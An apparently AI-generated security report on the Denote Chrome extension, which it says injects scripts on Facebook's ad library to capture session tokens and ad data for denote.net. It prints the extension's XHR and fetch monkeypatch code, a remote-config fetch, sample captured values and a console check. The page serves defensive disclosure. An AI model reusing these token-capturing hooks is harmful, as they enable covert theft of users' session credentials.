Is Denote: Save Ads TK & FB Ad Library safe?

High risk

Denote is high risk. On facebook.com/ads/library, the extension injects a script at document_start overwriting XMLHttpRequest.open/setRequestHeader/send. Every XHR response is hooked to extract session identifiers and ad objects, sent on to denote.net. Version 1.0.27.9 added a window.fetch override.…

Denotev1.0.27.17Chrome Web Store
79Risk
Who publishes it

Denote - 1 other listing from the same operator, none carrying a finding

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
Denote

Same store account

1 other listing published from this account, 20k+ users between them, none of them carrying a finding.

Shared hosts - 2 hostnames

Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.

cdn.denote.net
Also called by 3 other listings, including AdLibNote, AdLibNote: Ad Library Downloader Facebook™
ext-denote-save.canny.io
Also called by 4 other listings, including AdLibNote, AdLibNote: Ad Library Downloader Facebook™

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Injected script monkeypatches XMLHttpRequest to capture Facebook auth tokens

On facebook.com/ads/library, the extension injects a script at document_start overwriting XMLHttpRequest.open/setRequestHeader/send.

Every XHR response is hooked to extract session identifiers and ad objects, sent on to denote.net.

Severity
High unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You open facebook.com/ads/library, the Facebook ad transparency library.

The content script runs at document_start, meaning the XHR patch is in place before the page's own JavaScript executes.

The extension did this

The injected script overwrites every XHR method on the page, capturing your Facebook session tokens and ad search results, then dispatches them to the content script for upload.

Captured data includes X-FB-LSD, X-ASBD-ID, fb_dtsg, __user, session_id, and the full ad object array from search_results_connection.

The code that does this

XHR monkeypatch, prototype overrides (facebook-early-interceptor-readable.js)

Readable version
// Save original methods before overwritingconst originalOpen = XMLHttpRequest.prototype.open;const originalSetRequestHeader = XMLHttpRequest.prototype.setRequestHeader;const originalSend = XMLHttpRequest.prototype.send;// Track method and URL per-requestXMLHttpRequest.prototype.open = function(method, url, ...args) {  this._method = method;  this._url = url;  this._headers = {};  originalOpen.apply(this, [method, url, ...args]);};// Record each header as it is setXMLHttpRequest.prototype.setRequestHeader = function(header, value) {  this._headers[header] = value;  originalSetRequestHeader.apply(this, [header, value]);};// On send, attach a load listener that reads headers + responseXMLHttpRequest.prototype.send = function(data) {  this._data = data;  this.addEventListener('load', function() {    // Only process requests from the Facebook ad library page    if (!location.href.includes('facebook.com/ads/library')) return;    const isTargetedRequest =      this._url === '/api/graphql' || this._url === '/api/graphql/' ||      this._url.startsWith('/ajax/bz') || this._url.includes('graphql');    if (!isTargetedRequest) return;    // Capture Facebook security tokens from request headers    if (this._headers['X-FB-LSD'])      window.__denote_captured_data.X_FB_LSD = this._headers['X-FB-LSD'];    if (this._headers['X-ASBD-ID'])      window.__denote_captured_data.X_ASBD_ID = this._headers['X-ASBD-ID'];    // ... parse request body for fb_dtsg, __user, session_id, doc_id ...    // ... parse response for search_results_connection ad objects ...    // ... dispatch via CustomEvent + postMessage ...  });  originalSend.apply(this, [data]);};
Values extracted into window.__denote_captured_data
  • Facebook LSD token (X_FB_LSD)
    AdSXd2Yk3RpHF4L-mWjPoQ

    A per-session security token sent in every GraphQL request header. Used later to replay authenticated API requests.

  • Facebook app build ID (X_ASBD_ID)
    359341

    A numeric build identifier sent in GraphQL headers. Required to form valid Facebook API requests.

  • User ID (__user field)
    100085234712345

    Your numeric Facebook account ID, parsed from the GraphQL request body.

  • Session ID
    a1b2c3d4-e5f6-7890-abcd-ef1234567890

    A per-tab session identifier extracted from GraphQL variables; used to correlate ad search sessions.

  • Ad archive ID (doc_id)
    6635716889819821

    The persisted query hash for AdLibraryAdDetailsV2Query; stored to enable replaying the ad detail API call.

Check if you're affected

Pastes into the browser console on facebook.com/ads/library to confirm whether XMLHttpRequest.prototype methods have been replaced by the extension's instrumented versions.

Requires
  • Chrome browser with Denote extension installed
  • DevTools access (F12)
check_xhr_patch.js · js
// Run in DevTools console on facebook.com/ads/library// while the Denote extension is installed.(function checkXHRPatch() {  const results = {    openNative: XMLHttpRequest.prototype.open.toString().includes('[native code]'),    setRequestHeaderNative: XMLHttpRequest.prototype.setRequestHeader.toString().includes('[native code]'),    sendNative: XMLHttpRequest.prototype.send.toString().includes('[native code]'),    denoteCapturedDataExists: typeof window.__denote_captured_data !== 'undefined',    denoteCapturedData: window.__denote_captured_data || null  };  console.table({    'open() is native': results.openNative,    'setRequestHeader() is native': results.setRequestHeaderNative,    'send() is native': results.sendNative,    '__denote_captured_data present': results.denoteCapturedDataExists  });  if (results.denoteCapturedDataExists) {    console.log('Captured tokens:', {      X_FB_LSD: window.__denote_captured_data.X_FB_LSD,      X_ASBD_ID: window.__denote_captured_data.X_ASBD_ID,      requestBody: window.__denote_captured_data.requestBody,      adsCount: window.__denote_captured_data.ads?.length    });  }  return results;})();
How to run it
  1. 1Open DevTools (F12) on facebook.com/ads/library with Denote active.
  2. 2Paste this in Console, press Enter.
  3. 3If openNative/setRequestHeaderNative/sendNative are false, the patch is active.
  4. 4__denote_captured_data shows captured data.

v1.0.27.9 adds fetch() override on Facebook ad library pages

Version 1.0.27.9 added a window.fetch override.

On facebook.com/ads/library it intercepts fetch() to GraphQL/Ajax endpoints, strips Facebook's prefix, and parses ads like the XHR hook.

The URL check widened from /ads/library/ to bare path.

Severity
High unwanted
Type
Unexpected
CWE
CWE-200
Source
Dynamic sandbox
What actually happens
You did this

You visit facebook.com/ads/library, including the bare URL without a search query.

Version 1.0.27.9 widened the URL check from /ads/library/ (query string required) to /ads/library, so the hook now also fires on the landing page before any search is entered.

The extension did this

The injected script intercepts every fetch() to Facebook's GraphQL/Ajax endpoints, clones each response, strips the security prefix, and forwards ad objects to the content script.

The fetch override is additive; it runs in parallel with the existing XHR monkeypatch added in prior versions, ensuring no ad data escapes regardless of which request mechanism Facebook uses.

The code that does this

fetch() override added in v1.0.27.9 (facebook-early-interceptor-readable.js)

Readable version
// Save original fetch before replacingconst originalFetch = window.fetch;window.fetch = async function(input, init) {  const requestUrl = (typeof input === 'string') ? input : (input.url || input);  const isAdLibraryPage = location.href.includes('facebook.com/ads/library');  // widened in v1.0.27.9  const isApiRequest =    requestUrl === '/api/graphql' || requestUrl === '/api/graphql/' ||    requestUrl.startsWith('/ajax/bz') || requestUrl.includes('/ajax/bootloader') ||    requestUrl.includes('/api/') || requestUrl.includes('graphql');  // Always perform the real fetch first (transparent to the page)  const response = await originalFetch.apply(this, arguments);  if (!isAdLibraryPage || !isApiRequest) return response;  try {    const clonedResponse = response.clone();    const text = await clonedResponse.text();    // Strip Facebook's for(;;); anti-hijacking prefix    let cleanText = text.startsWith('for (;;);') ? text.substring(9) : text;    // Try line-by-line JSON parse (Facebook sometimes sends multiple JSON objects)    let responseData = null;    for (const line of cleanText.split('\n').filter(l => l.trim())) {      const lineText = line.startsWith('for (;;);') ? line.substring(9) : line;      try {        const parsed = JSON.parse(lineText);        if (containsAdData(parsed)) { responseData = parsed; break; }      } catch (e) {}    }    if (!responseData) responseData = JSON.parse(cleanText);    // Extract, normalise, deduplicate, and forward ad objects    let ads = extractAdsFromResponse(responseData);    if (ads?.length > 0) {      ads = ads.map(normalizeAdData).map(addShopifyFields);      const newAds = deduplicateAds(ads, window.__denote_captured_data.ads);      if (newAds.length > 0) {        window.__denote_captured_data.ads.push(...newAds);        markDataCollected('fetch');  // sets stopCollection = true        dispatchDataEvent();         // CustomEvent + postMessage to content script      }    }  } catch (err) {    console.error('Fetch interception error:', err);  }  return response;  // original response returned unmodified to page};
Coverage gap closed by adding fetch() alongside XHR

Prior versions intercepted ad data only through the XMLHttpRequest monkeypatch. Version 1.0.27.9 adds the fetch() override because Facebook's front-end has been migrating some API calls from XHR to the Fetch API. The two hooks share the same extraction functions (containsAdData, extractAdsFromResponse, deduplicateAds) and the same delivery path (dispatchDataEvent → CustomEvent + postMessage). Data collected by either hook ends up in the same window.__denote_captured_data object.

When this fires

On every browser startup

The fetch() override is installed when the injected script initialises at document_start, before the page's own JavaScript runs, so all fetch calls made during page load are captured from the first request.

Extension fetches server-controlled interception rules from denote.net

Two POSTs to denote.net's get-remote-config endpoint were captured seconds after install.

The response, stored as EXT_RULES, tells the extension which Facebook GraphQL ops to intercept; rules live remotely and can expand silently.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

The extension installs or checks whether its configuration is more than 12 hours old.

The staleness check runs at startup via ke() which reads configLastUpdate from chrome.storage.local.

The extension did this

The background service worker POSTs to denote.net and stores the returned rules, which control which Facebook API calls are intercepted.

The rules (EXT_RULES) include the list of GraphQL operation names to target, the auth header to capture, and the doc_id to substitute into replayed requests.

Captured request
POSThttps://denote.net/api/v1/user/api-chrome-extension/get-remote-config

Returns {"data": {"config": [{"params": [{"platform": "5", "rule": {"euHeaderConfig": {"headerValues": [...], "adApiKey": "...", "adDocId": "..."}, "earlyInterceptor": {...}}}]}]}}, stored as EXT_RULES in chrome.storage.local.

Headers
Content-Type
application/json
Body
{  "extension_id": 102}
The code that does this

Remote config fetch and rule storage (background/index.js)

Readable version
function Be() {  const headers = new Headers();  headers.append('Content-Type', 'application/json');  const body = JSON.stringify({ extension_id: 102 });  fetch('https://denote.net/api/v1/user/api-chrome-extension/get-remote-config', {    method: 'POST',    headers,    body  })  .then(res => res.json())  .then(data => {    chrome.storage.local.get(['latest_user', 'multiple_version']).then(stored => {      const update = {        EXT_RULES: data.data.config[0].params,   // interception rules        configLastUpdate: Date.now()      };      chrome.storage.local.set(update);    });  });}
What's stored on your device

Lists which Facebook GraphQL ops to intercept, which doc_id to inject into replays, and which JSON keys hold ad data. Server-updatable.

Location
chrome.storage.local key 'EXT_RULES'
Contents
[  {    "platform": "5",    "rule": {      "euHeaderConfig": {        "headerValues": [          "AdLibraryFilterContextProviderQuery",          "AdLibraryV3AdCollationDetailsQuery",          "AdLibraryFoundationRootQuery",          "AdLibrarySearchPaginationQuery",          "AdLibraryV3AdDetailsQuery"        ],        "adApiKey": "AdLibraryAdDetailsV2Query",        "adDocId": "6635716889819821"      },      "earlyInterceptor": {        "searchKeywords": [          "search_results_connection",          "page_info"        ]      }    }  }]
Remote configuration host
    • denote.net

    Developer ad intelligence platform. Receives the numeric extension_id (102) and returns interception rules governing which Facebook API calls the extension captures.

+2 more findings not shown

Updated 30 September 2026okieokifcnnigcgceookjighhplbhcip